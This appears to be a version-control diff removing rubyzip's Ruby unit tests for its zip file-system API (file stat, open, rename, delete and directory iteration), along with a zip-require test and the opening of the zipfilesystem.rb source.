def assert_forwarded(anObject, method, retVal, *expectedArgs)
|
||||
callArgs = nil
|
||||
setCallArgsProc = proc { |args| callArgs = args }
|
||||
anObject.instance_eval <<-"end_eval"
|
||||
alias #{method}_org #{method}
|
||||
def #{method}(*args)
|
||||
ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args)
|
||||
ObjectSpace._id2ref(#{retVal.object_id})
|
||||
end
|
||||
end_eval
|
||||
|
||||
assert_equal(retVal, yield) # Invoke test
|
||||
assert_equal(expectedArgs, callArgs)
|
||||
ensure
|
||||
anObject.instance_eval "undef #{method}; alias #{method} #{method}_org"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
include Zip
|
||||
|
||||
class ZipFsFileNonmutatingTest < Test::Unit::TestCase
|
||||
def setup
|
||||
@zipFile = ZipFile.new("data/zipWithDirs.zip")
|
||||
end
|
||||
|
||||
def teardown
|
||||
@zipFile.close if @zipFile
|
||||
end
|
||||
|
||||
def test_umask
|
||||
assert_equal(File.umask, @zipFile.file.umask)
|
||||
@zipFile.file.umask(0006)
|
||||
end
|
||||
|
||||
def test_exists?
|
||||
assert(! @zipFile.file.exists?("notAFile"))
|
||||
assert(@zipFile.file.exists?("file1"))
|
||||
assert(@zipFile.file.exists?("dir1"))
|
||||
assert(@zipFile.file.exists?("dir1/"))
|
||||
assert(@zipFile.file.exists?("dir1/file12"))
|
||||
assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? !
|
||||
|
||||
@zipFile.dir.chdir "dir1/"
|
||||
assert(!@zipFile.file.exists?("file1"))
|
||||
assert(@zipFile.file.exists?("file12"))
|
||||
end
|
||||
|
||||
def test_open_read
|
||||
blockCalled = false
|
||||
@zipFile.file.open("file1", "r") {
|
||||
|f|
|
||||
blockCalled = true
|
||||
assert_equal("this is the entry 'file1' in my test archive!",
|
||||
f.readline.chomp)
|
||||
}
|
||||
assert(blockCalled)
|
||||
|
||||
blockCalled = false
|
||||
@zipFile.file.open("file1", "rb") { # test binary flag is ignored
|
||||
|f|
|
||||
blockCalled = true
|
||||
assert_equal("this is the entry 'file1' in my test archive!",
|
||||
f.readline.chomp)
|
||||
}
|
||||
assert(blockCalled)
|
||||
|
||||
blockCalled = false
|
||||
@zipFile.dir.chdir "dir2"
|
||||
@zipFile.file.open("file21", "r") {
|
||||
|f|
|
||||
blockCalled = true
|
||||
assert_equal("this is the entry 'dir2/file21' in my test archive!",
|
||||
f.readline.chomp)
|
||||
}
|
||||
assert(blockCalled)
|
||||
@zipFile.dir.chdir "/"
|
||||
|
||||
assert_raise(Errno::ENOENT) {
|
||||
@zipFile.file.open("noSuchEntry")
|
||||
}
|
||||
|
||||
begin
|
||||
is = @zipFile.file.open("file1")
|
||||
assert_equal("this is the entry 'file1' in my test archive!",
|
||||
is.readline.chomp)
|
||||
ensure
|
||||
is.close if is
|
||||
end
|
||||
end
|
||||
|
||||
def test_new
|
||||
begin
|
||||
is = @zipFile.file.new("file1")
|
||||
assert_equal("this is the entry 'file1' in my test archive!",
|
||||
is.readline.chomp)
|
||||
ensure
|
||||
is.close if is
|
||||
end
|
||||
begin
|
||||
is = @zipFile.file.new("file1") {
|
||||
fail "should not call block"
|
||||
}
|
||||
ensure
|
||||
is.close if is
|
||||
end
|
||||
end
|
||||
|
||||
def test_symlink
|
||||
assert_raise(NotImplementedError) {
|
||||
@zipFile.file.symlink("file1", "aSymlink")
|
||||
}
|
||||
end
|
||||
|
||||
def test_size
|
||||
assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") }
|
||||
assert_equal(72, @zipFile.file.size("file1"))
|
||||
assert_equal(0, @zipFile.file.size("dir2/dir21"))
|
||||
|
||||
assert_equal(72, @zipFile.file.stat("file1").size)
|
||||
assert_equal(0, @zipFile.file.stat("dir2/dir21").size)
|
||||
end
|
||||
|
||||
def test_size?
|
||||
assert_equal(nil, @zipFile.file.size?("notAFile"))
|
||||
assert_equal(72, @zipFile.file.size?("file1"))
|
||||
assert_equal(nil, @zipFile.file.size?("dir2/dir21"))
|
||||
|
||||
assert_equal(72, @zipFile.file.stat("file1").size?)
|
||||
assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?)
|
||||
end
|
||||
|
||||
|
||||
def test_file?
|
||||
assert(@zipFile.file.file?("file1"))
|
||||
assert(@zipFile.file.file?("dir2/file21"))
|
||||
assert(! @zipFile.file.file?("dir1"))
|
||||
assert(! @zipFile.file.file?("dir1/dir11"))
|
||||
|
||||
assert(@zipFile.file.stat("file1").file?)
|
||||
assert(@zipFile.file.stat("dir2/file21").file?)
|
||||
assert(! @zipFile.file.stat("dir1").file?)
|
||||
assert(! @zipFile.file.stat("dir1/dir11").file?)
|
||||
end
|
||||
|
||||
include ExtraAssertions
|
||||
|
||||
def test_dirname
|
||||
assert_forwarded(File, :dirname, "retVal", "a/b/c/d") {
|
||||
@zipFile.file.dirname("a/b/c/d")
|
||||
}
|
||||
end
|
||||
|
||||
def test_basename
|
||||
assert_forwarded(File, :basename, "retVal", "a/b/c/d") {
|
||||
@zipFile.file.basename("a/b/c/d")
|
||||
}
|
||||
end
|
||||
|
||||
def test_split
|
||||
assert_forwarded(File, :split, "retVal", "a/b/c/d") {
|
||||
@zipFile.file.split("a/b/c/d")
|
||||
}
|
||||
end
|
||||
|
||||
def test_join
|
||||
assert_equal("a/b/c", @zipFile.file.join("a/b", "c"))
|
||||
assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d"))
|
||||
assert_equal("/c/d", @zipFile.file.join("", "c/d"))
|
||||
assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d"))
|
||||
end
|
||||
|
||||
def test_utime
|
||||
t_now = Time.now
|
||||
t_bak = @zipFile.file.mtime("file1")
|
||||
@zipFile.file.utime(t_now, "file1")
|
||||
assert_equal(t_now, @zipFile.file.mtime("file1"))
|
||||
@zipFile.file.utime(t_bak, "file1")
|
||||
assert_equal(t_bak, @zipFile.file.mtime("file1"))
|
||||
end
|
||||
|
||||
|
||||
def assert_always_false(operation)
|
||||
assert(! @zipFile.file.send(operation, "noSuchFile"))
|
||||
assert(! @zipFile.file.send(operation, "file1"))
|
||||
assert(! @zipFile.file.send(operation, "dir1"))
|
||||
assert(! @zipFile.file.stat("file1").send(operation))
|
||||
assert(! @zipFile.file.stat("dir1").send(operation))
|
||||
end
|
||||
|
||||
def assert_true_if_entry_exists(operation)
|
||||
assert(! @zipFile.file.send(operation, "noSuchFile"))
|
||||
assert(@zipFile.file.send(operation, "file1"))
|
||||
assert(@zipFile.file.send(operation, "dir1"))
|
||||
assert(@zipFile.file.stat("file1").send(operation))
|
||||
assert(@zipFile.file.stat("dir1").send(operation))
|
||||
end
|
||||
|
||||
def test_pipe?
|
||||
assert_always_false(:pipe?)
|
||||
end
|
||||
|
||||
def test_blockdev?
|
||||
assert_always_false(:blockdev?)
|
||||
end
|
||||
|
||||
def test_symlink?
|
||||
assert_always_false(:symlink?)
|
||||
end
|
||||
|
||||
def test_socket?
|
||||
assert_always_false(:socket?)
|
||||
end
|
||||
|
||||
def test_chardev?
|
||||
assert_always_false(:chardev?)
|
||||
end
|
||||
|
||||
def test_truncate
|
||||
assert_raise(StandardError, "truncate not supported") {
|
||||
@zipFile.file.truncate("file1", 100)
|
||||
}
|
||||
end
|
||||
|
||||
def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"])
|
||||
assert_raise(Errno::ENOENT) {
|
||||
@zipFile.file.send(operation, *args)
|
||||
}
|
||||
end
|
||||
|
||||
def test_ftype
|
||||
assert_e_n_o_e_n_t(:ftype)
|
||||
assert_equal("file", @zipFile.file.ftype("file1"))
|
||||
assert_equal("directory", @zipFile.file.ftype("dir1/dir11"))
|
||||
assert_equal("directory", @zipFile.file.ftype("dir1/dir11/"))
|
||||
end
|
||||
|
||||
def test_link
|
||||
assert_raise(NotImplementedError) {
|
||||
@zipFile.file.link("file1", "someOtherString")
|
||||
}
|
||||
end
|
||||
|
||||
def test_directory?
|
||||
assert(! @zipFile.file.directory?("notAFile"))
|
||||
assert(! @zipFile.file.directory?("file1"))
|
||||
assert(! @zipFile.file.directory?("dir1/file11"))
|
||||
assert(@zipFile.file.directory?("dir1"))
|
||||
assert(@zipFile.file.directory?("dir1/"))
|
||||
assert(@zipFile.file.directory?("dir2/dir21"))
|
||||
|
||||
assert(! @zipFile.file.stat("file1").directory?)
|
||||
assert(! @zipFile.file.stat("dir1/file11").directory?)
|
||||
assert(@zipFile.file.stat("dir1").directory?)
|
||||
assert(@zipFile.file.stat("dir1/").directory?)
|
||||
assert(@zipFile.file.stat("dir2/dir21").directory?)
|
||||
end
|
||||
|
||||
def test_chown
|
||||
assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1"))
|
||||
assert_equal(1, @zipFile.file.stat("dir1").uid)
|
||||
assert_equal(2, @zipFile.file.stat("dir1").gid)
|
||||
assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1"))
|
||||
end
|
||||
|
||||
def test_zero?
|
||||
assert(! @zipFile.file.zero?("notAFile"))
|
||||
assert(! @zipFile.file.zero?("file1"))
|
||||
assert(@zipFile.file.zero?("dir1"))
|
||||
blockCalled = false
|
||||
ZipFile.open("data/generated/5entry.zip") {
|
||||
|zf|
|
||||
blockCalled = true
|
||||
assert(zf.file.zero?("data/generated/empty.txt"))
|
||||
}
|
||||
assert(blockCalled)
|
||||
|
||||
assert(! @zipFile.file.stat("file1").zero?)
|
||||
assert(@zipFile.file.stat("dir1").zero?)
|
||||
blockCalled = false
|
||||
ZipFile.open("data/generated/5entry.zip") {
|
||||
|zf|
|
||||
blockCalled = true
|
||||
assert(zf.file.stat("data/generated/empty.txt").zero?)
|
||||
}
|
||||
assert(blockCalled)
|
||||
end
|
||||
|
||||
def test_expand_path
|
||||
ZipFile.open("data/zipWithDirs.zip") {
|
||||
|zf|
|
||||
assert_equal("/", zf.file.expand_path("."))
|
||||
zf.dir.chdir "dir1"
|
||||
assert_equal("/dir1", zf.file.expand_path("."))
|
||||
assert_equal("/dir1/file12", zf.file.expand_path("file12"))
|
||||
assert_equal("/", zf.file.expand_path(".."))
|
||||
assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21"))
|
||||
}
|
||||
end
|
||||
|
||||
def test_mtime
|
||||
assert_equal(Time.at(1027694306),
|
||||
@zipFile.file.mtime("dir2/file21"))
|
||||
assert_equal(Time.at(1027690863),
|
||||
@zipFile.file.mtime("dir2/dir21"))
|
||||
assert_raise(Errno::ENOENT) {
|
||||
@zipFile.file.mtime("noSuchEntry")
|
||||
}
|
||||
|
||||
assert_equal(Time.at(1027694306),
|
||||
@zipFile.file.stat("dir2/file21").mtime)
|
||||
assert_equal(Time.at(1027690863),
|
||||
@zipFile.file.stat("dir2/dir21").mtime)
|
||||
end
|
||||
|
||||
def test_ctime
|
||||
assert_nil(@zipFile.file.ctime("file1"))
|
||||
assert_nil(@zipFile.file.stat("file1").ctime)
|
||||
end
|
||||
|
||||
def test_atime
|
||||
assert_nil(@zipFile.file.atime("file1"))
|
||||
assert_nil(@zipFile.file.stat("file1").atime)
|
||||
end
|
||||
|
||||
def test_readable?
|
||||
assert(! @zipFile.file.readable?("noSuchFile"))
|
||||
assert(@zipFile.file.readable?("file1"))
|
||||
assert(@zipFile.file.readable?("dir1"))
|
||||
assert(@zipFile.file.stat("file1").readable?)
|
||||
assert(@zipFile.file.stat("dir1").readable?)
|
||||
end
|
||||
|
||||
def test_readable_real?
|
||||
assert(! @zipFile.file.readable_real?("noSuchFile"))
|
||||
assert(@zipFile.file.readable_real?("file1"))
|
||||
assert(@zipFile.file.readable_real?("dir1"))
|
||||
assert(@zipFile.file.stat("file1").readable_real?)
|
||||
assert(@zipFile.file.stat("dir1").readable_real?)
|
||||
end
|
||||
|
||||
def test_writable?
|
||||
assert(! @zipFile.file.writable?("noSuchFile"))
|
||||
assert(@zipFile.file.writable?("file1"))
|
||||
assert(@zipFile.file.writable?("dir1"))
|
||||
assert(@zipFile.file.stat("file1").writable?)
|
||||
assert(@zipFile.file.stat("dir1").writable?)
|
||||
end
|
||||
|
||||
def test_writable_real?
|
||||
assert(! @zipFile.file.writable_real?("noSuchFile"))
|
||||
assert(@zipFile.file.writable_real?("file1"))
|
||||
assert(@zipFile.file.writable_real?("dir1"))
|
||||
assert(@zipFile.file.stat("file1").writable_real?)
|
||||
assert(@zipFile.file.stat("dir1").writable_real?)
|
||||
end
|
||||
|
||||
def test_executable?
|
||||
assert(! @zipFile.file.executable?("noSuchFile"))
|
||||
assert(! @zipFile.file.executable?("file1"))
|
||||
assert(@zipFile.file.executable?("dir1"))
|
||||
assert(! @zipFile.file.stat("file1").executable?)
|
||||
assert(@zipFile.file.stat("dir1").executable?)
|
||||
end
|
||||
|
||||
def test_executable_real?
|
||||
assert(! @zipFile.file.executable_real?("noSuchFile"))
|
||||
assert(! @zipFile.file.executable_real?("file1"))
|
||||
assert(@zipFile.file.executable_real?("dir1"))
|
||||
assert(! @zipFile.file.stat("file1").executable_real?)
|
||||
assert(@zipFile.file.stat("dir1").executable_real?)
|
||||
end
|
||||
|
||||
def test_owned?
|
||||
assert_true_if_entry_exists(:owned?)
|
||||
end
|
||||
|
||||
def test_grpowned?
|
||||
assert_true_if_entry_exists(:grpowned?)
|
||||
end
|
||||
|
||||
def test_setgid?
|
||||
assert_always_false(:setgid?)
|
||||
end
|
||||
|
||||
def test_setuid?
|
||||
assert_always_false(:setgid?)
|
||||
end
|
||||
|
||||
def test_sticky?
|
||||
assert_always_false(:sticky?)
|
||||
end
|
||||
|
||||
def test_readlink
|
||||
assert_raise(NotImplementedError) {
|
||||
@zipFile.file.readlink("someString")
|
||||
}
|
||||
end
|
||||
|
||||
def test_stat
|
||||
s = @zipFile.file.stat("file1")
|
||||
assert(s.kind_of?(File::Stat)) # It pretends
|
||||
assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
|
||||
@zipFile.file.stat("noSuchFile")
|
||||
}
|
||||
end
|
||||
|
||||
def test_lstat
|
||||
assert(@zipFile.file.lstat("file1").file?)
|
||||
end
|
||||
|
||||
|
||||
def test_chmod
|
||||
assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
|
||||
@zipFile.file.chmod(0644, "file1", "NoSuchFile")
|
||||
}
|
||||
assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1"))
|
||||
end
|
||||
|
||||
def test_pipe
|
||||
assert_raise(NotImplementedError) {
|
||||
@zipFile.file.pipe
|
||||
}
|
||||
end
|
||||
|
||||
def test_foreach
|
||||
ZipFile.open("data/generated/zipWithDir.zip") {
|
||||
|zf|
|
||||
ref = []
|
||||
File.foreach("data/file1.txt") { |e| ref << e }
|
||||
|
||||
index = 0
|
||||
zf.file.foreach("data/file1.txt") {
|
||||
|l|
|
||||
assert_equal(ref[index], l)
|
||||
index = index.next
|
||||
}
|
||||
assert_equal(ref.size, index)
|
||||
}
|
||||
|
||||
ZipFile.open("data/generated/zipWithDir.zip") {
|
||||
|zf|
|
||||
ref = []
|
||||
File.foreach("data/file1.txt", " ") { |e| ref << e }
|
||||
|
||||
index = 0
|
||||
zf.file.foreach("data/file1.txt", " ") {
|
||||
|l|
|
||||
assert_equal(ref[index], l)
|
||||
index = index.next
|
||||
}
|
||||
assert_equal(ref.size, index)
|
||||
}
|
||||
end
|
||||
|
||||
def test_popen
|
||||
if RUBY_PLATFORM =~ /mswin|mingw/i
|
||||
cmd = 'dir'
|
||||
else
|
||||
cmd = 'ls'
|
||||
end
|
||||
|
||||
assert_equal(File.popen(cmd) { |f| f.read },
|
||||
@zipFile.file.popen(cmd) { |f| f.read })
|
||||
end
|
||||
|
||||
# Can be added later
|
||||
# def test_select
|
||||
# fail "implement test"
|
||||
# end
|
||||
|
||||
def test_readlines
|
||||
ZipFile.open("data/generated/zipWithDir.zip") {
|
||||
|zf|
|
||||
assert_equal(File.readlines("data/file1.txt"),
|
||||
zf.file.readlines("data/file1.txt"))
|
||||
}
|
||||
end
|
||||
|
||||
def test_read
|
||||
ZipFile.open("data/generated/zipWithDir.zip") {
|
||||
|zf|
|
||||
assert_equal(File.read("data/file1.txt"),
|
||||
zf.file.read("data/file1.txt"))
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class ZipFsFileStatTest < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
@zipFile = ZipFile.new("data/zipWithDirs.zip")
|
||||
end
|
||||
|
||||
def teardown
|
||||
@zipFile.close if @zipFile
|
||||
end
|
||||
|
||||
def test_blocks
|
||||
assert_equal(nil, @zipFile.file.stat("file1").blocks)
|
||||
end
|
||||
|
||||
def test_ino
|
||||
assert_equal(0, @zipFile.file.stat("file1").ino)
|
||||
end
|
||||
|
||||
def test_uid
|
||||
assert_equal(0, @zipFile.file.stat("file1").uid)
|
||||
end
|
||||
|
||||
def test_gid
|
||||
assert_equal(0, @zipFile.file.stat("file1").gid)
|
||||
end
|
||||
|
||||
def test_ftype
|
||||
assert_equal("file", @zipFile.file.stat("file1").ftype)
|
||||
assert_equal("directory", @zipFile.file.stat("dir1").ftype)
|
||||
end
|
||||
|
||||
def test_mode
|
||||
assert_equal(0600, @zipFile.file.stat("file1").mode & 0777)
|
||||
assert_equal(0600, @zipFile.file.stat("file1").mode & 0777)
|
||||
assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777)
|
||||
assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777)
|
||||
end
|
||||
|
||||
def test_dev
|
||||
assert_equal(0, @zipFile.file.stat("file1").dev)
|
||||
end
|
||||
|
||||
def test_rdev
|
||||
assert_equal(0, @zipFile.file.stat("file1").rdev)
|
||||
end
|
||||
|
||||
def test_rdev_major
|
||||
assert_equal(0, @zipFile.file.stat("file1").rdev_major)
|
||||
end
|
||||
|
||||
def test_rdev_minor
|
||||
assert_equal(0, @zipFile.file.stat("file1").rdev_minor)
|
||||
end
|
||||
|
||||
def test_nlink
|
||||
assert_equal(1, @zipFile.file.stat("file1").nlink)
|
||||
end
|
||||
|
||||
def test_blksize
|
||||
assert_nil(@zipFile.file.stat("file1").blksize)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class ZipFsFileMutatingTest < Test::Unit::TestCase
|
||||
TEST_ZIP = "zipWithDirs_copy.zip"
|
||||
def setup
|
||||
FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP)
|
||||
end
|
||||
|
||||
def teardown
|
||||
end
|
||||
|
||||
def test_delete
|
||||
do_test_delete_or_unlink(:delete)
|
||||
end
|
||||
|
||||
def test_unlink
|
||||
do_test_delete_or_unlink(:unlink)
|
||||
end
|
||||
|
||||
def test_open_write
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
|
||||
zf.file.open("test_open_write_entry", "w") {
|
||||
|f|
|
||||
blockCalled = true
|
||||
f.write "This is what I'm writing"
|
||||
}
|
||||
assert_equal("This is what I'm writing",
|
||||
zf.file.read("test_open_write_entry"))
|
||||
|
||||
# Test with existing entry
|
||||
zf.file.open("file1", "wb") { #also check that 'b' option is ignored
|
||||
|f|
|
||||
blockCalled = true
|
||||
f.write "This is what I'm writing too"
|
||||
}
|
||||
assert_equal("This is what I'm writing too",
|
||||
zf.file.read("file1"))
|
||||
}
|
||||
end
|
||||
|
||||
def test_rename
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert_raise(Errno::ENOENT, "") {
|
||||
zf.file.rename("NoSuchFile", "bimse")
|
||||
}
|
||||
zf.file.rename("file1", "newNameForFile1")
|
||||
}
|
||||
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert(! zf.file.exists?("file1"))
|
||||
assert(zf.file.exists?("newNameForFile1"))
|
||||
}
|
||||
end
|
||||
|
||||
def do_test_delete_or_unlink(symbol)
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert(zf.file.exists?("dir2/dir21/dir221/file2221"))
|
||||
zf.file.send(symbol, "dir2/dir21/dir221/file2221")
|
||||
assert(! zf.file.exists?("dir2/dir21/dir221/file2221"))
|
||||
|
||||
assert(zf.file.exists?("dir1/file11"))
|
||||
assert(zf.file.exists?("dir1/file12"))
|
||||
zf.file.send(symbol, "dir1/file11", "dir1/file12")
|
||||
assert(! zf.file.exists?("dir1/file11"))
|
||||
assert(! zf.file.exists?("dir1/file12"))
|
||||
|
||||
assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") }
|
||||
assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") }
|
||||
assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") }
|
||||
}
|
||||
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert(! zf.file.exists?("dir2/dir21/dir221/file2221"))
|
||||
assert(! zf.file.exists?("dir1/file11"))
|
||||
assert(! zf.file.exists?("dir1/file12"))
|
||||
|
||||
assert(zf.file.exists?("dir1/dir11"))
|
||||
assert(zf.file.exists?("dir1/dir11/"))
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class ZipFsDirectoryTest < Test::Unit::TestCase
|
||||
TEST_ZIP = "zipWithDirs_copy.zip"
|
||||
|
||||
def setup
|
||||
FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP)
|
||||
end
|
||||
|
||||
def test_delete
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") {
|
||||
zf.dir.delete("NoSuchFile.txt")
|
||||
}
|
||||
assert_raise(Errno::EINVAL, "Invalid argument - file1") {
|
||||
zf.dir.delete("file1")
|
||||
}
|
||||
assert(zf.file.exists?("dir1"))
|
||||
zf.dir.delete("dir1")
|
||||
assert(! zf.file.exists?("dir1"))
|
||||
}
|
||||
end
|
||||
|
||||
def test_mkdir
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert_raise(Errno::EEXIST, "File exists - dir1") {
|
||||
zf.dir.mkdir("file1")
|
||||
}
|
||||
assert_raise(Errno::EEXIST, "File exists - dir1") {
|
||||
zf.dir.mkdir("dir1")
|
||||
}
|
||||
assert(!zf.file.exists?("newDir"))
|
||||
zf.dir.mkdir("newDir")
|
||||
assert(zf.file.directory?("newDir"))
|
||||
assert(!zf.file.exists?("newDir2"))
|
||||
zf.dir.mkdir("newDir2", 3485)
|
||||
assert(zf.file.directory?("newDir2"))
|
||||
}
|
||||
end
|
||||
|
||||
def test_pwd_chdir_entries
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert_equal("/", zf.dir.pwd)
|
||||
|
||||
assert_raise(Errno::ENOENT, "No such file or directory - no such dir") {
|
||||
zf.dir.chdir "no such dir"
|
||||
}
|
||||
|
||||
assert_raise(Errno::EINVAL, "Invalid argument - file1") {
|
||||
zf.dir.chdir "file1"
|
||||
}
|
||||
|
||||
assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort)
|
||||
zf.dir.chdir "dir1"
|
||||
assert_equal("/dir1", zf.dir.pwd)
|
||||
assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort)
|
||||
|
||||
zf.dir.chdir "../dir2/dir21"
|
||||
assert_equal("/dir2/dir21", zf.dir.pwd)
|
||||
assert_equal(["dir221"].sort, zf.dir.entries(".").sort)
|
||||
}
|
||||
end
|
||||
|
||||
def test_foreach
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
|
||||
blockCalled = false
|
||||
assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") {
|
||||
zf.dir.foreach("noSuchDir") { |e| blockCalled = true }
|
||||
}
|
||||
assert(! blockCalled)
|
||||
|
||||
assert_raise(Errno::ENOTDIR, "Not a directory - file1") {
|
||||
zf.dir.foreach("file1") { |e| blockCalled = true }
|
||||
}
|
||||
assert(! blockCalled)
|
||||
|
||||
entries = []
|
||||
zf.dir.foreach(".") { |e| entries << e }
|
||||
assert_equal(["dir1", "dir2", "file1"].sort, entries.sort)
|
||||
|
||||
entries = []
|
||||
zf.dir.foreach("dir1") { |e| entries << e }
|
||||
assert_equal(["dir11", "file11", "file12"], entries.sort)
|
||||
}
|
||||
end
|
||||
|
||||
def test_chroot
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
assert_raise(NotImplementedError) {
|
||||
zf.dir.chroot
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
# Globbing not supported yet
|
||||
#def test_glob
|
||||
# # test alias []-operator too
|
||||
# fail "implement test"
|
||||
#end
|
||||
|
||||
def test_open_new
|
||||
ZipFile.open(TEST_ZIP) {
|
||||
|zf|
|
||||
|
||||
assert_raise(Errno::ENOTDIR, "Not a directory - file1") {
|
||||
zf.dir.new("file1")
|
||||
}
|
||||
|
||||
assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
|
||||
zf.dir.new("noSuchFile")
|
||||
}
|
||||
|
||||
d = zf.dir.new(".")
|
||||
assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort)
|
||||
d.close
|
||||
|
||||
zf.dir.open("dir1") {
|
||||
|dir|
|
||||
assert_equal(["dir11", "file11", "file12"].sort, dir.entries.sort)
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class ZipFsDirIteratorTest < Test::Unit::TestCase
|
||||
|
||||
FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ]
|
||||
|
||||
def setup
|
||||
@dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY)
|
||||
end
|
||||
|
||||
def test_close
|
||||
@dirIt.close
|
||||
assert_raise(IOError, "closed directory") {
|
||||
@dirIt.each { |e| p e }
|
||||
}
|
||||
assert_raise(IOError, "closed directory") {
|
||||
@dirIt.read
|
||||
}
|
||||
assert_raise(IOError, "closed directory") {
|
||||
@dirIt.rewind
|
||||
}
|
||||
assert_raise(IOError, "closed directory") {
|
||||
@dirIt.seek(0)
|
||||
}
|
||||
assert_raise(IOError, "closed directory") {
|
||||
@dirIt.tell
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
def test_each
|
||||
# Tested through Enumerable.entries
|
||||
assert_equal(FILENAME_ARRAY, @dirIt.entries)
|
||||
end
|
||||
|
||||
def test_read
|
||||
FILENAME_ARRAY.size.times {
|
||||
|i|
|
||||
assert_equal(FILENAME_ARRAY[i], @dirIt.read)
|
||||
}
|
||||
end
|
||||
|
||||
def test_rewind
|
||||
@dirIt.read
|
||||
@dirIt.read
|
||||
assert_equal(FILENAME_ARRAY[2], @dirIt.read)
|
||||
@dirIt.rewind
|
||||
assert_equal(FILENAME_ARRAY[0], @dirIt.read)
|
||||
end
|
||||
|
||||
def test_tell_seek
|
||||
@dirIt.read
|
||||
@dirIt.read
|
||||
pos = @dirIt.tell
|
||||
valAtPos = @dirIt.read
|
||||
@dirIt.read
|
||||
@dirIt.seek(pos)
|
||||
assert_equal(valAtPos, @dirIt.read)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Copyright (C) 2002, 2003 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
|
@ -1,43 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$VERBOSE = true
|
||||
|
||||
$: << "../lib"
|
||||
|
||||
require 'test/unit'
|
||||
require 'zip/ziprequire'
|
||||
|
||||
$: << 'data/rubycode.zip' << 'data/rubycode2.zip'
|
||||
|
||||
class ZipRequireTest < Test::Unit::TestCase
|
||||
def test_require
|
||||
assert(require('data/notzippedruby'))
|
||||
assert(!require('data/notzippedruby'))
|
||||
|
||||
assert(require('zippedruby1'))
|
||||
assert(!require('zippedruby1'))
|
||||
|
||||
assert(require('zippedruby2'))
|
||||
assert(!require('zippedruby2'))
|
||||
|
||||
assert(require('zippedruby3'))
|
||||
assert(!require('zippedruby3'))
|
||||
|
||||
c1 = NotZippedRuby.new
|
||||
assert(c1.returnTrue)
|
||||
assert(ZippedRuby1.returnTrue)
|
||||
assert(!ZippedRuby2.returnFalse)
|
||||
assert_equal(4, ZippedRuby3.multiplyValues(2, 2))
|
||||
end
|
||||
|
||||
def test_get_resource
|
||||
get_resource("aResource.txt") {
|
||||
|f|
|
||||
assert_equal("Nothing exciting in this file!", f.read)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# Copyright (C) 2002 Thomas Sondergaard
|
||||
# rubyzip is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
File diff suppressed because it is too large
Load Diff
1900
lib/zip/zip.rb
1900
lib/zip/zip.rb
File diff suppressed because it is too large
Load Diff
|
@ -1,611 +0,0 @@
|
|||
# encoding: ASCII-8BIT
|
||||
require 'zip/zip'
|
||||
|
||||
module Zip
|
||||
|
||||
# The ZipFileSystem API provides an API for accessing entries in
|
||||
# a zip archive that is similar to ruby's builtin File and Dir
|
||||
# classes.
|
||||
#
|
||||
# Requiring 'zip/zipfilesystem' includes this module in ZipFile
|
||||
# making the methods in this module available on ZipFile objects.
|
||||
#
|
||||
# Using this API the following example creates a new zip file
|
||||
# <code>my.zip</code> containing a normal entry with the name
|
||||
# <code>first.txt</code>, a directory entry named <code>mydir</code>
|
||||
# and finally another normal entry named <code>second.txt</code>
|
||||
#
|
||||
# require 'zip/zipfilesystem'
|
||||
#
|
||||
# Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) {
|
||||
# |zipfile|
|
||||
# zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" }
|
||||
# zipfile.dir.mkdir("mydir")
|
||||
